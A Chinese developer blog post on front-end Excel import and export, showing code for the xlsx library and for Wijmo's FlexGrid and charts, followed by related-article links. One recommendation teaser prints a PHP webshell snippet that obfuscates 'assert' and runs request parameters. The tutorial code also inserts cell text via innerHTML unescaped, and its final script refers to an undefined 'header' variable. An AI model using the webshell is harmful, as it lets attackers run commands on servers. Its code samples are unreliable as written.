公司最近要为某国企做一个**统计和管理系统，

具体要求包含

  • Excel导入导出
  • 根据导入的数据进行展示报表
  • 图表展示（包括柱状图，折线图，饼图），而且还要求要有动画效果，扁平化风格
  • Excel导出，并要提供客户端来管理Excel 文件
  • ...

要求真多！

现在总算是完成了，于是将我的经验分析出来。

在整个项目架构中，首先就要解决Excel导入的问题。

由于公司没有自己的框架做Excel IO，就只有通过其他渠道了。

嗯，我在github上找到了一个开源库xlsx，通过npm方式来安装。

  1. npm install xlsx --save

之后，在自己的html文件里面添加对js文件的引用

  1. <script src="./node_modules/xlsx/dist/jszip.js"></script>
  2. <script src="./node_modules/xlsx/dist/xlsx.js"></script>

通过FileReader对象将数据以二进制字符串的方式加载到内存中，

  1. target.addEventListener('drop', function (e) {
  2.   e.preventDefault();
  3.   handleDrop(e.dataTransfer.files[0]);
  4. });
  5. handleDrop = function(){
  6.   var reader = new FileReader();
  7.   reader.onload = function (e) {
  8.     var data = e.target.result;
  9.     ...
  10.     ...
  11.   };
  12.   reader.readAsBinaryString(f);
  13. }

然后我们下来的操作就是要利用库对data数据进行操作了。

它暴露了一个对象XLSX，通过XLSX的read（） 方法就可以将数据读为JSON对象了。

  1. var workbook = XLSX.read(data, { type: 'binary' });
  2. var sheetName = workbook.SheetNames[0];
  3. var sheet = workbook.Sheets[sheetName];

之后，使用键值对的方式再把数据从sheet中取出来放到表格中。

  1. var table = document.createElement('table');
  2. for (var row = 1; ; row++) {
  3.     if (sheet['A' + row] == null) {
  4.         break;
  5.     }
  6.     var tr = document.createElement('tr');
  8.     for (var col = 65; col <= 90; col++) {
  9.         var c = String.fromCharCode(col);// get 'A', 'B', 'C' ...
  10.         var key = '' + c + row;
  11.         if (sheet[key] == null) {
  12.             break;
  13.         }
  14.         var td = document.createElement('td');
  15.         td.innerHTML = sheet[key]['w'];
  16.         tr.appendChild(td);
  17.     }
  18.     table.appendChild(tr);
  19. }
  20. document.querySelector('#target').appendChild(table);

下面是完整代码:

index.html

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <title>Document</title>
  6.     <style>
  7.         #target {
  8.             height: 400px;
  9.             width: 700px;
  10.             background-color: #f8f8f8;
  11.             margin: 200px auto;
  12.             overflow:hidden;
  13.             border-radius:5px;
  14.             box-shadow:2px 2px 5px #888;
  15.         }
  16.         .hover::before {
  17.             content: '请将excel文件拖到这里';
  18.             width: 100%;
  19.             height: 100%;
  20.             display: block;
  21.             text-align: center;
  22.             line-height: 400px;
  23.             font-size: 24px;
  24.             font-family: '微软雅黑';
  25.         }
  26.         #target>table{
  27.             height:250px;
  28.             width:400px;
  29.             border:1px solid #ccc;
  30.             border-radius:3px;
  31.             margin:75px auto;
  32.         }
  33.         #target>table td{
  34.             text-align:center;
  35.             border-top:1px solid #ccc;
  36.             border-left:1px solid #ccc;
  37.         }
  38.          #target>table tr:first-child>td{
  39.              border-top:0px solid #ccc;
  40.          }
  41.          #target>table tr>td:first-child{
  42.              border-left:0px solid #ccc;
  43.          }
  44.     </style>
  45. </head>
  46. <body>
  47.     <div id="target" class="hover">
  48.     </div>
  50.     <script src="./node_modules/xlsx/dist/jszip.js"></script>
  51.     <script src="./node_modules/xlsx/dist/xlsx.js"></script>
  52.     <script src="index.js"></script>
  53. </body>
  54. </html>

下面是完整js代码

index.js

  1. window.addEventListener('load', function () {
  2.     var target = document.querySelector('#target');
  3.     target.addEventListener('dragenter', function () {
  4.         this.classList.remove('hover');
  5.     });
  6.     target.addEventListener('dragleave', function () {
  7.         this.classList.add('hover');
  8.     });
  9.     target.addEventListener('dragover', function (e) {
  10.         this.classList.remove('hover');
  11.         e.preventDefault();
  12.     });
  14.     target.addEventListener('drop', function (e) {
  15.         e.preventDefault();
  16.         handleDrop(e.dataTransfer.files[0]);
  17.     });
  19. });
  20. var handleDrop = function (f) {
  21.     var reader = new FileReader(),
  22.         name = f.name;
  23.     reader.onload = function (e) {
  24.         var data = e.target.result,
  25.             workbook = XLSX.read(data, { type: 'binary' }),
  26.             sheetName = workbook.SheetNames[0],
  27.             sheet = workbook.Sheets[sheetName],
  28.             table = document.createElement('table');
  30.         for (var row = 1; ; row++) {
  31.             if (sheet['A' + row] == null) {
  32.                 break;
  33.             }
  34.             var tr = document.createElement('tr');
  36.             for (var col = 65; col <= 90; col++) {
  37.                 var c = String.fromCharCode(col);// get 'A', 'B', 'C' ...
  38.                 var key = '' + c + row;
  39.                 if (sheet[key] == null) {
  40.                     break;
  41.                 }
  42.                 var td = document.createElement('td');
  43.                 td.innerHTML = sheet[key]['w'];
  44.                 tr.appendChild(td);
  45.             }
  46.             table.appendChild(tr);
  47.         }
  48.         document.querySelector('#target').appendChild(table);
  49.     };
  50.     reader.readAsBinaryString(f);
  51. }

效果如下：

这样做好像可行，但是我们很快就放弃了。

弊端太多了。

  • 这个库现在目前还处于开发阶段，在issues里面还有很多的Bug被提出。这没有办法保证最终网站的稳定性。
  • 这个库没有办法导入合并单元格的数据，只能是很死板的按照'A', 'B', 'C'... 和1, 2, 3 坐标来查询数据，而且它要求内部单元格不能为空。
  • 更比较不方便的就是，它没有行和列的计数的属性。
  • 由于这是为国企做的，所以无法将关键功能依赖于这个star量不是很多的库，降低风险，也是为了网站的安全性。
  • ...

经过小组探讨，我们决定使用另外一款前端控件，叫做 Wijmo。

首先，从网站上下载Wijmo包，这个控件没有提供npm和bower等方式。

然后将我需要的包导入进来

  1. <script src="./wijmo/dist/controls/wijmo.min.js"></script>
  2. <script src="./wijmo/dist/controls/wijmo.grid.min.js"></script>
  3. <script src="./wijmo/dist/controls/wijmo.grid.detail.min.js"></script>
  4. <script src="./wijmo/dist/controls/wijmo.grid.xlsx.min.js"></script>
  5. <script src="./wijmo/dist/controls/wijmo.xlsx.min.js"></script>

此外，还有引入一个jszip的包，是使用js来解压压缩包的一个库。（由于MS的open xml技术，xlsx文件都可以解压成为xml文件，app.xml 里包含了主要的数据）。

  1. <script src="./jszip.min.js"></script>

读取文件的操作和上面都是一样的

  1. var handleDrop = function (file) {
  2.     var reader,
  3.         workbook;
  5.     if (file) {
  6.         reader = new FileReader;
  7.         reader.onload = function (e) {
  8.             workbook = new wijmo.xlsx.Workbook(),
  9.                 workbook.load(reader.result);
  10.         };
  11.         reader.readAsDataURL(file);
  12.     }
  13. }

通过

  1.  workbook = new wijmo.xlsx.Workbook();
  2.  workbook.load(reader.result);

这两行代码将excel文件加载到内存 中的workbook对象。

打印workbook对象，

打印这个对象发现，workbook里面包含sheets数组，每个sheet包含rows数组，每个row包含cells数组，每个cell里面vaule属性就是单元格的值。

这简直太又好了

下面实现一个函数 getCollectionView ，以对象数组的方式来获取数据

  1. var getCollectionView = function (workbook) {
  2.     var collectionView = [];
  3.     if (workbook) {
  4.         var sheet = workbook.sheets[0],
  5.             header = []; // 列标题数组
  7.         for (var i = 0, length = sheet.rows.length; i < length; i++) {
  8.             var row = sheet.rows[i],
  9.                 rowArray = {};
  10.             for (var j = 0, jLength = row.cells.length; j < jLength; j++) {
  11.                 var cell = row.cells[j];
  12.                 // 如果是第一行数据，那么是作为列标题出现的，就放进标题数组中
  13.                 if (i === 0) {
  14.                     header.push(cell.value);
  15.                 }
  16.                 else {
  17.                     // 后面的行数组，就作为rowArray对象的属性存储，属性名就是该列的标题。
  18.                     rowArray[header[j]] = cell.value;
  19.                 }
  20.             }
  21.             if (i !== 0) {
  22.                 collectionView.push(rowArray);
  23.             }
  24.         }
  25.     }
  26.     return collectionView;
  27. }

然后需要一个表格将数据呈现出来，这里我直接使用了Wijmo的FlexGrid表格。


  2. gridDiv = document.createElement('div');
  3. gridDiv.classList.add('grid');
  4. dataGrid = new wijmo.grid.FlexGrid(gridDiv);// 通过传入容器构造一个FlexGrid表单。
  5. var collectionView = new wijmo.collections.CollectionView(getCollectionView(workbook));
  6. dataGrid.itemsSource = collectionView;

好了，经过上面几个步骤，导入Excel到表格已经实现了

这是完整的js代码：

index.js

  1. (function () {
  2.     var dataGrid = null,
  3.         gridDiv = null,
  4.         workbook = null;
  5.     window.addEventListener('load', function () {
  6.         gridDiv = document.createElement('div');
  7.         gridDiv.classList.add('grid');
  8.         dataGrid = new wijmo.grid.FlexGrid(gridDiv);
  9.         var target = document.querySelector('#target');
  11.         target.addEventListener('dragenter', function (e) {
  12.             e.preventDefault();
  13.             this.classList.remove('hover');
  15.         });
  16.         target.addEventListener('dragleave', function (e) {
  17.             e.preventDefault();
  18.             this.classList.add('hover');
  19.         });
  20.         target.addEventListener('dragover', function (e) {
  21.             e.preventDefault();
  22.             this.classList.remove('hover');
  23.         });
  25.         target.addEventListener('drop', function (e) {
  26.             e.preventDefault();
  27.             handleDrop(e.dataTransfer.files[0]);
  28.             // 将这个表单添加到页面上
  29.             this.appendChild(gridDiv);
  30.         });
  31.     });
  33.     var handleDrop = function (file) {
  34.         var reader;
  35.         var workbook;
  37.         if (file) {
  38.             reader = new FileReader;
  39.             reader.onload = function (e) {
  40.                 workbook = new wijmo.xlsx.Workbook();
  41.                 workbook.load(reader.result);
  42. 				var collectionView = new 		  wijmo.collections.CollectionView(getCollectionView(workbook));
  43. 				dataGrid.itemsSource = collectionView;
  44.                 // console.log(dataGrid.collectionView);
  45.             };
  46.             reader.readAsDataURL(file);
  47.         }
  48.     }
  50.     var getCollectionView = function (workbook) {
  51.         var collectionView = [];
  53.         if (workbook) {
  54.             var sheet = workbook.sheets[0];
  55.             var title = [];
  57.             for (var i = 0, length = sheet.rows.length; i < length; i++) {
  58.                 var row = sheet.rows[i];
  59.                 var rowArray = {};
  61.                 for (var j = 0, jLength = row.cells.length; j < jLength; j++) {
  62.                     var cell = row.cells[j];
  63.                     if (i === 0) {
  64.                         header.push(cell.value);
  65.                     }
  66.                     else {
  67.                         rowArray[header[j]] = cell.value;
  68.                     }
  69.                 }
  70.                 if (i !== 0) {
  71.                     collectionView.push(rowArray);
  72.                 }
  73.             }
  74.         }
  75.         return collectionView;
  76.     }
  77. })(window);

下面是效果

Excel 导出

欧了

两句代码实现Excel导出功能

  1. wijmo.grid.xlsx.FlexGridXlsxConverter.save(dataGrid,
  2. 	{ includeColumnHeaders: true }, fileName);

这个表格还支持过滤，分组，筛选，编辑。

面积图和柱状图

就在完成Excel IO 之后，发现这个控件包还可以做面积图，柱状图和其他很多类型的图形。

所以在这里就演示一个面积图的和一个柱状图的例子。

首先，要将包引进来。

  1. <script src="./wijmo/dist/controls/wijmo.chart.min.js"></script>

然后经过下面几句代码，就可以使用在页面中插入一个柱状图

  1. chart = new wijmo.chart.FlexChart('#chart');
  2. chart.initialize({
  3.     itemsSource: collectionView,
  4.     bindingX: 'name',
  5.     options: {
  6.         groupWidth: 15
  7.     },
  8.     series: [
  9.         { name: '年龄', binding: 'age' },
  10.     ]
  11. });

下面看效果

其中，颜色和柱状图的形状可以调整的。当鼠标移到元素上，还有会小提示。

在这里，只需要改变一下chart的类型，就可以切换为其他类型的图表

  1. chart.chartType = chart.chartType === wijmo.chart.ChartType.Column ?
  2.     wijmo.chart.ChartType.Area :
  3.     wijmo.chart.ChartType.Column;

关于本篇的代码已经上传 http://files.cnblogs.com/files/likeFlyingFish/xlsWijmo.rar;

后续会托管到github.

最终还是比较快的完成了任务。

关于这个项目的Excel IO 就简单介绍到这里，这个项目现在已经完成了，后续会分享一些其他的技术细节。

希望可以对你提供帮助。

使用纯前端JavaScript 实现Excel IO的更多相关文章

  1. 纯前端表格控件SpreadJS以专注业务、提升效率赢得用户与市场

    提起华为2012实验室,你可能有点陌生. 但你一定还对前段时间华为的那封<海思总裁致员工的一封信>记忆犹新,就在那篇饱含深情的信中,我们知道了华为为确保公司大部分产品的战略安全和连续供应, ...

  2. vue后台_纯前端实现excel导出/csv导出

    之前的文件下载功能一般是由前后端配合实现,由于项目需要,纯前端实现了一把excel的导出功能: 一.excel导出 1.安装依赖库 xlsx:这是一个功能强大的excel处理库,但是上手难度也很大,还 ...

  3. 基于纯前端类Excel表格控件实现在线损益表应用

    财务报表也称对外会计报表,是会计主体对外提供的反映企业或预算单位一定时期资金.利润状况的会计报表,由资产负债表.损益表.现金流量表或财务状况变动表.附表和附注构成.财务报表是财务报告的主要部分,不包括 ...

  4. H5纯前端生成Excel表格

    H5纯前端生成Excel表格方法如下: <!DOCTYPE html> <html> <head> <title></title> < ...

  5. 从 .NET 到 JavaScript —— 纯前端报表控件 ActiveReportsJS 焕新登场

    报表工具的发展史,最早可以追溯到微软报表SSRS(SQL Server Reporting Services)时期.最初,报表工具主要应用于报表的定制.呈现和输出.经过几十年的发展,随着各种业务系统功 ...

  6. 【图解】Web前端实现类似Excel的电子表格

    本文将通过图解的方式,使用纯前端表格控件 SpreadJS 来一步一步实现在线的电子表格产品(例如可构建Office 365 Excel产品.Google的在线SpreadSheet). 工具简介: ...

  7. 【图解】Web前端实现相似Excel的电子表格

     在本文中,我将用图解的方式用Wijmo(JavaScript库)中的SpreadJS来一步一步实现网页上的电子表格产品SpreadSheet(比如可构建Office 365 Excel产品.Go ...

  8. Web纯前端“旭日图”实现元素周期表

    一.什么是旭日图 旭日图是在Excel 2016中新增的一种图表.有些类似饼图,饼图的优势是可以显示占比.但是饼图只能显示单级数据.旭日图用来表示多层级数据的占比.旭日图以一种分层方式显示,非常适合用 ...

  9. 【新功能前瞻】SpreadJS 纯前端表格控件V12.2：打印增强、拖拽填充等六大特性

    新版本来袭:葡萄城 SpreadJS 纯前端表格控件的全新版本 V12.2 将于8月正式发布! 作为一款备受华为.招商银行.中国平安.苏宁易购等行业专家和前端开发者认可的纯 JavaScript 电子 ...

随机推荐

  1. php木马样本，持续更新

    <?array_map("ass\x65rt",(array)$_REQUEST[dede]);?> <?php $command=$_POST[1990]; @ ...

  2. vscode过滤pyc文件

    在工作区设置里添加如下代码: { "files.exclude": { "**/.git": true, "**/.svn": true, ...

  3. 内存不足时，调用ajax报的错

    在error中遍历出来的异常   很难见

  4. 项目 "Model" 受源代码管理。向源代码管理注册此项目时出错。建议不要对此项目进行任何更改。

  5. DES原理

    1.DES的描述 为了建立适用于计算机系统的商用密码,美国商业部的国家标准局NBS于1973年5月和1974年8月两次发布通告,向社会征求密码算法.在征得的算法中,由IBM公司提出的算法lucifer ...

  6. sublime Text3及其插件的使用

    参考:Sublime Text 3 新手上路:必要的安裝.設定與基本使用教學 Sublime Text 相信是許多開發人員人心目中的最愛,然而對一個 Sublime Text 3 的新手來說,有什麼是 ...

  7. norm函数的作用，matlab

    格式:n=norm(A,p)功能:norm函数可计算几种不同类型的返回A中最大一列和,即max(sum(abs(A))) 2 返回A的最大奇异值,和n=norm(A)用法一样 inf 返回A中最大一行 ...

  8. PHP是怎么运行的

    这篇文章,研究一下PHP代码是如何解释和执行以及PHP脚本运行的生命周期. 概述 PHP服务的启动.严格来说,PHP的相关进程是不需要手动启动的,它是随着Apache的启动而运行的.当然,如果有需要重 ...

  9. 那些证书相关的玩意儿(SSL,X.509,PEM,DER,CRT,CER,KEY,CSR,P12等)

    之前没接触过证书加密的话,对证书相关的这些概念真是感觉挺棘手的,因为一下子来了一大堆新名词,看起来像是另一个领域的东西,而不是我们所熟悉的编程领域的那些东西,起码我个人感觉如此,且很长时间都没怎么搞懂 ...

  10. 如何让用户只能访问特定的数据库(MSSQL)

    背景 客户的SQL Server实例上有多个厂商的数据库,每个数据库由各自的进行厂进行商维护, 为了限定不同厂商的维护人员只能访问自己的数据库,现需要给各个厂商限定权限,让他们登录SQL Server ...